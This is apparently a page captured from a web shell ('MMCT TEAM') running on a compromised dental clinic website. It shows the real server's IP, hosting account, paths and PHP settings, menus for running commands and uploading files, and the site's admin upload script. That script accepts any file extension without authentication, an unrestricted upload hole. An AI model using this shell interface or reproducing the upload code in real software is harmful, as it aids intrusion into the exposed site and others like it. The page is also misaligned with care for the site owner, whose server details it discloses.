MMCT TEAM
1Server IP : 217.21.90.164  /  Your IP : 3.15.234.183
Web Server : LiteSpeed
System : Linux in-mum-web840.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u367232671 ( 367232671)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u367232671/domains/zeropaindentist.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u367232671/domains/zeropaindentist.com/public_html/admin/addOffer.php
<?php
include '../dbh/conn.php';
    $files_n = $_FILES['files']['name'];
    $files_n = explode('.', $files_n);
    $files_n_c = count($files_n);
    $files_n_c = $files_n_c - 1;
    $files_n = 'a.' . $files_n[$files_n_c];
    $files_n = 's' . md5(date('dmy-hsi')) . $files_n;
    $files_e = $_FILES['files']['error'];
    $files_t = $_FILES['files']['tmp_name'];
    $move = move_uploaded_file($files_t, "../img/product/offer/$files_n");
$sql = "INSERT INTO `offer`(`img`) VALUES ('$files_n')";
 $result = mysqli_query($conn, $sql);
    if ($result) {
        header('Location:./index.php?msg=Added New offer &msg_class=success&msg_h=offer  Created');
    } else {
        header('Location:./index.php?msg=Sorry Cannot Added offer  &msg_class=danger&msg_h=Fail to create News');
    }
?>

MMCT - 2023